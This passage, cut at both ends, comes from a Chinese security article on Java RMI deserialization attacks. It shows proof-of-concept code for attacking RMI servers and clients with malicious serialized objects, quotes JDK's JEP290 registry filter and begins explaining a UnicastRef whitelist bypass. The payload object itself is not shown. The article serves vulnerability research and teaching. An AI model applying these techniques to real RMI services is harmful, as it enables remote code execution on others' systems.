#c678dd;line-height: 26px;">interface</span> <span style="color: #e6c07b;line-height: 26px;">IRemoteMethod</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">Remote</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> IRemoteMethod <span style="color: #61aeee;line-height: 26px;">exploit</span><span style="line-height: 26px;">(Object obj)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> RemoteException</span>;<br/>}<br/># 实现类<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">RemoteMethod</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">UnicastRemoteObject</span> <span style="color: #c678dd;line-height: 26px;">implements</span> <span style="color: #e6c07b;line-height: 26px;">IRemoteMethod</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">protected</span> <span style="color: #61aeee;line-height: 26px;">RemoteMethod</span><span style="line-height: 26px;">()</span> <span style="color: #c678dd;line-height: 26px;">throws</span> RemoteException </span>{<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> IRemoteMethod <span style="color: #61aeee;line-height: 26px;">exploit</span><span style="line-height: 26px;">(Object obj)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> RemoteException </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> <span style="color: #c678dd;line-height: 26px;">null</span>;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后在客户端里放上同样的接口，从注册中心获取远程方法信息，并以恶意对象调用远程方法即可。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>    IRemoteMethod remoteMethod = (IRemoteMethod) <span style="color: #c678dd;line-height: 26px;">new</span> InitialContext().lookup(<span style="color: #98c379;line-height: 26px;">&#34;rmi://192.168.78.137:1009/RemoteMethod&#34;</span><span style="color: #98c379;line-height: 26px;">&#34;);<br/>    remoteMethod.exploit(evilObject());<br/>}<br/></span></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对于非Object参数，但又是Object子类的远程方法，可以用动态代理或继承该子类的方法绕过。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>3、攻击客户端</h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>3.1 反序列化注册绑定对象<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当客户端<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lookup</code>时，也会从注册中心获取并反序列化注册绑定的对象，这时的反序列化是在存根<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.registry.RegistryImpl_Stub#lookup</code>方法中进行。POC的构造也与注册中心反序列化的差不多，只是改成由注册中心注册绑定恶意类：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">Class cls = Class.forName(<span style="color: #98c379;line-height: 26px;">&#34;sun.reflect.annotation.AnnotationInvocationHandler&#34;</span>);<br/>Constructor constructor = cls.getDeclaredConstructor(Class<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">Map</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>)</span>;<br/>constructor.setAccessible(<span style="color: #c678dd;line-height: 26px;">true</span>);<br/>HashMap&lt;String, Object&gt; map = <span style="color: #c678dd;line-height: 26px;">new</span> HashMap&lt;&gt;();<br/>map.put(<span style="color: #98c379;line-height: 26px;">&#34;obj&#34;</span>, evilObject());<br/>InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>, <span style="color: #e6c07b;line-height: 26px;">map</span>)</span>;<br/>Remote remoteObj = (Remote) Proxy.newProxyInstance(<br/>    Remote<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getClassLoader</span>(),<br/>    <span style="color: #e6c07b;line-height: 26px;">new</span> <span style="color: #e6c07b;line-height: 26px;">Class</span>[]</span>{Remote<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>},<br/>    <span style="color: #e6c07b;line-height: 26px;">invocationHandler</span><br/>)</span>;<br/>Registry registry = LocateRegistry.createRegistry(<span style="color: #d19a66;line-height: 26px;">1009</span>);<br/>registry.bind(<span style="color: #98c379;line-height: 26px;">&#34;AttackRegistry&#34;</span>, remoteObj);<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>3.2 反序列化返回值<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当远程方法的返回值不为空，且不为基础类型时，就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似，最终都是通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.server.UnicastRef#unmarshalValue</code>方法反序列化。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3083511777301927" data-s="300,640" style="" data-type="png" data-w="467" src="https://wechat2rss.xlab.app/img-proxy/?k=b91c5382&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibbed2lhDiaPXiaeTAU8zxeppMqoT6AYhdqCUxvbteyeVBVicia4Qhkuvy0A%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">POC也很简单，远程方法直接返回恶意对象即可：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">AttackerRemoteMethod</span> <span style="color: #c678dd;line-height: 26px;">extends</span> <span style="color: #e6c07b;line-height: 26px;">UnicastRemoteObject</span> <span style="color: #c678dd;line-height: 26px;">implements</span> <span style="color: #e6c07b;line-height: 26px;">IAttackerRemoteMethod</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">exploit</span><span style="line-height: 26px;">()</span> <span style="color: #c678dd;line-height: 26px;">throws</span> RemoteException </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> evilObject();<br/>    }<br/>}<br/></code></pre><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 22px;"><span style="display: none;"></span>4、JEP290及其绕过</h2><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">JEP290是JDK9引入的规范，并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ObjectInputStream</code>，在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量，返回<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">REJECTED</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ALLOWED</code>或<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UNDECIDED</code>状态。他的过滤接口方法并不是默认配置的，而是通过<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">jdk.serialFilter</code>属性设置全局过滤接口方法或<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">setObjectInputFilter</code>方法设置局部过滤接口方法。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在RMI反序列化过程中仅注册中心在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.registry.RegistryImpl#registryFilter</code>中实现，对反序列化的深度、数组大小和反序列化的类做了限制。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span> <span style="color: #c678dd;line-height: 26px;">static</span> Status <span style="color: #61aeee;line-height: 26px;">registryFilter</span><span style="line-height: 26px;">(FilterInfo var0)</span> </span>{<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (registryFilter != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>        Status var1 = registryFilter.checkInput(var0);<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> (var1 != Status.UNDECIDED) {<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> var1;<br/>        }<br/>    }<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (var0.depth() &gt; <span style="color: #d19a66;line-height: 26px;">20L</span>) {<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> Status.REJECTED;<br/>    } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>        Class var2 = var0.serialClass();<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> (var2 != <span style="color: #c678dd;line-height: 26px;">null</span>) {<br/>            <span style="color: #c678dd;line-height: 26px;">if</span> (!var2.isArray()) {<br/>                <span style="color: #c678dd;line-height: 26px;">return</span> String<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span> !</span>= var2 &amp;&amp; !Number<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">Remote</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">Proxy</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">UnicastRef</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">RMIClientSocketFactory</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">RMIServerSocketFactory</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">ActivationID</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) &amp;&amp; !<span style="color: #e6c07b;line-height: 26px;">UID</span>.<span style="color: #e6c07b;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">isAssignableFrom</span>(<span style="color: #e6c07b;line-height: 26px;">var2</span>) ? <span style="color: #e6c07b;line-height: 26px;">Status</span>.<span style="color: #e6c07b;line-height: 26px;">REJECTED</span> : <span style="color: #e6c07b;line-height: 26px;">Status</span>.<span style="color: #e6c07b;line-height: 26px;">ALLOWED</span></span>;<br/>            } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>                <span style="color: #c678dd;line-height: 26px;">return</span> var0.arrayLength() &gt;= <span style="color: #d19a66;line-height: 26px;">0L</span> &amp;&amp; var0.arrayLength() &gt; <span style="color: #d19a66;line-height: 26px;">1000000L</span> ? Status.REJECTED : Status.UNDECIDED;<br/>            }<br/>        } <span style="color: #c678dd;line-height: 26px;">else</span> {<br/>            <span style="color: #c678dd;line-height: 26px;">return</span> Status.UNDECIDED;<br/>        }<br/>    }<br/>}<br/></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span>4.1 UnicastRef 类绕过<span style="display: none;"></span></h3><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">UnicastRef 是RMI注册中心反序列化白名单中的类，是正常bind对象后注册中心得到的stub中的属性。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面调试下正常的注册流程，直接在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.registry.RegistryImpl_Skel#dispatch</code>处，注册中心反序列化服务端bind对象开始。接着调用封装类的父类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">RemoteObject</code>的自定义<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">readObject</code>方法。在这里会实例化Reference类<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef</code>，并调用他的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">readExternal</code>反序列化。<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">readExternal</code>里接着调用<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.LiveRef#read</code>给<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef</code>的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ref</code>属性赋值。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy7TkmGKuRMo8XRR9KKEiaNAUHEA2jqgaHXduzDvBJOHia8EdJO6xJJoxJbWfydpj4Q7CdDps4WKVWQ/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #e6c07b;line-height: 26px;">read</span>:291, LiveRef (sun.rmi.transport)<br/>readExternal:489, UnicastRef (sun.rmi.server)<br/>readObject:455, RemoteObject (java.rmi.server)<br/>...<br/>readObject:431, ObjectInputStream (java.io)<br/>dispatch:76, RegistryImpl_Skel (sun.rmi.registry)<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.LiveRef#read</code>方法里，主要逻辑是从输入流中获取<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TCPEndpoint</code>和<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ObjID</code>，来初始化<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">LiveRef</code>并返回。这里的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TCPEndpoint</code>记录着服务端监听的地址和端口，并且方法里保存<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">LiveRef</code>到输入流的操作会将<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">TCPEndpoint</code>保存到输入流的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">incomingRefTable</code>属性中，这一步很关键。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4074074074074074" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=45604f47&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibs2NdLpibk1jb2Rib4clerMM8nialH6bq14t8a5ibLGgGGP44umib2InsjpA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">反序列化结束后就是注册引用的流程。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625" data-s="300,640" style="" data-type="png" data-w="384" src="https://wechat2rss.xlab.app/img-proxy/?k=c852dad6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvibPiaMHUatdnIZfT4VXgtWZlkQAIl8Awib76vsHakGcU1AEcn7agoOLFEg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">sun.rmi.transport.DGCImpl_Stub#dirty</code>方法首先利用反序列化的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">UnicastRef</code>建立连接，返回一个<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">StreamRemoteCall</code>对象，接着调用它的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">invoke</code>方法。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.34572072072072074" data-s="300,640" style="" data-type="png" data-w="888" src="https://wechat2rss.xlab.app/img-proxy/?k=19ba77b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6FaeZgiaFkxLAKbL99phYvib6pJa8UmSJSDVayHq8zz9chDuc2r1PvJ2Mj8W73YibasBGQIupWWt6kg%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">invoke</code>方法最后调用的是<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">StreamRemoteCall</code>对象的<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 